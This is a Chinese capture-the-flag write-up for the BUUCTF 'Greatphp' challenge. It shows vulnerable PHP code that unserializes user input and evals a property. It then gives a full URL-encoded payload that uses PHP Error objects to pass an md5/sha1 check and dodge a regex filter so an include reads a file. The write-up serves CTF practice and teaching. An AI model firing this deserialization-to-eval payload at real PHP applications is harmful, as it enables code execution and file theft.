97,【5】buuctf web [极客大挑战 2020]Greatphp
进入靶场
审代码
<?php
// 关闭所有 PHP 错误报告,防止错误信息泄露可能的安全隐患
error_reporting(0);
// 定义一个名为 SYCLOVER 的类
class SYCLOVER {
// 定义类的公共属性 $syc
public $syc;
// 定义类的公共属性 $lover
public $lover;
// 定义魔术方法 __wakeup,当对象被反序列化时会自动调用该方法
public function __wakeup(){
// 检查 $syc 和 $lover 的值不相等,但它们的 MD5 哈希值和 SHA1 哈希值都相等
// 利用了哈希算法碰撞的特性,在某些特殊输入下不同值可能产生相同的哈希结果
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc) === sha1($this->lover)) ){
// 使用正则表达式检查 $syc 中是否包含 <?php、(、)、" 或 ' 这些字符
if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
// 如果 $syc 中不包含上述危险字符,则将 $syc 作为 PHP 代码进行执行
eval($this->syc);
} else {
// 如果 $syc 中包含危险字符,终止程序并输出提示信息
die("Try Hard !!");
}
}
}
}
// 检查是否通过 GET 请求传递了名为 'great' 的参数
if (isset($_GET['great'])){
// 如果存在 'great' 参数,对其进行反序列化操作
// 反序列化过程中会触发 SYCLOVER 类的 __wakeup 方法
unserialize($_GET['great']);
} else {
// 如果不存在 'great' 参数,高亮显示当前 PHP 文件的源代码
highlight_file(__FILE__);
}
?>
总结:通过 GET 请求传递名为 'great' 的参数,并对 'great' 参数进行序列化操作
$syc 和 $lover 的值不相等,但它们的 MD5 哈希值和 SHA1 哈希值都相等
正则表达式检查 $syc
payload:
/?great=O%3A8%3A%22SYCLOVER%22%3A2%3A%7Bs%3A3%3A%22syc%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7Ds%3A5%3A%22lover%22%3BO%3A5%3A%22Error%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A20%3A%22%3F%3E%3C%3F%3Dinclude%7E%D0%99%93%9E%98%3F%3E%22%3Bs%3A13%3A%22%00Error%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A15%3A%22%2Fbox%2Fscript.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A13%3Bs%3A12%3A%22%00Error%00trace%22%3Ba%3A0%3A%7B%7Ds%3A15%3A%22%00Error%00previous%22%3BN%3B%7D%7D